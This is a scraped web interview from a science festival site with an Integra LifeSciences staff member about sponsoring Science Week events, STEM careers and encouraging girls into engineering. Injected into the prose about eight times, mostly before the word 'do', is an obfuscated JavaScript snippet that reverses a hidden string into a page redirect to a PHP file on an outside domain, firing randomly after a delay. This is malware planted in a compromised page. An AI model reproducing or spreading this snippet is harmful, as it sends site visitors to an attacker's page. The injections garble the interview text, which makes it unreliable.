Industry needs diversity and alternative thinkers…

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We are most grateful and really excited to be working with local company and world leader in medical technology Integra LifeSciences, to provide a number of Science Week events in the region this year. We spoke to Maria Rogers of Integra this week in advance of the rocket building and marin life workshops that the company will be sponsoring..

Maria, we are delighted that you will be supporting this year’s Midlands Science Festival. Can you tell us a bit about your company and what you $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do?

In Integra Tullamore we manufacture some amazing products related to neurosurgery and neuro critical care. The Integra Tullamore team manufacture equipment used by Neuro Surgeons throughout the world (including Ireland) to remove Brain Tumors. We have over 100 people working on the site including engineers across a range of disciplines including Electronic, Electrical, Mechanical, Software, Project, Quality and Regula tory Affairs.

Integra LifeSciences is a world leader in medical technology with 19 manufacturing plants worldwide. The company is dedicated to limiting uncertainty for surgeons, so they can concentrate on providing the best patient care. As well as Neurosurgery, Integra offers innovative solutions in orthopedic extremity surgery and reconstructive and general surgery.

Do you have a science background yourself?

I have developed my in the Quality Assurance field and have learned to manage many technical aspects of the Medical Devices business to advance in my career. Physics and Maths were among my favourite subjects in secondary school and that has helped me to apply those inherent talents in developing in my career. I started to study science in University, but in hindsight, lacked the belief in myself to stay on that education path and opted for a more “traditional” female career path. I have no regrets personally, but I now have a passion for instilling belief in young people, particularly young females, that they shouldn’t allow any perceptions they may have to limit utilising their talents and following their passions.

Recent data shows that Ireland continues to experience a skills shortage in the STEM sec tor. Why is it important for companies like Integra to support events like the Midlands Science Festival and what $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do you think we can $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do to keep dispelling the myth that science is difficult?

Industry needs diversity and alternative thinkers in order to continue to develop new concepts and products. In Ireland we need to maintain our reputation as a high skills destination in order to remain an attractive destination for global industry and research funds. Some major innovations have come from Irish research projects in recent years that will keep Ireland to the fore in the skills market.: Student Lauren Murphy invented a therapeutic device for sufferers of multiple sclerosis, CRANN nanoscience institute announced a major development of a clean energy source and offers a potential alternative to fossil fuels.

We need to nurture and develop the scientific brains of our future generation in a fun and meaningful way and Midlands Science Festival schools program is an effective way to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do this.

Are there are any specific challenges in attracting women in to science related fields and $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do you have any suggestions on how this could be addressed?

I think there is a cultural perception that many science related fields, particularly the Engineering related fields, are male- $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dominated fields and as a society we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do not encourage women enough to consider career paths within these fields. The points system for third level entry is also another fac tor in driving subject choices where STEM subjects are often avoided.

Parents and schools need to provide better information to females regarding career opportunities based around the STEM subjects. Industry also needs to become involved with schools at primary level where early stereotyping can be avoided. This is one of the main reasons why Integra LifeSciences has become involved with Midlands Science Week.

As a parent of two young daughters, I encourage them to explore all career options especially those that are STEM related.

What is your favorite science fact?

The human brain takes in over 11 million bits of information every second but only recognizes 40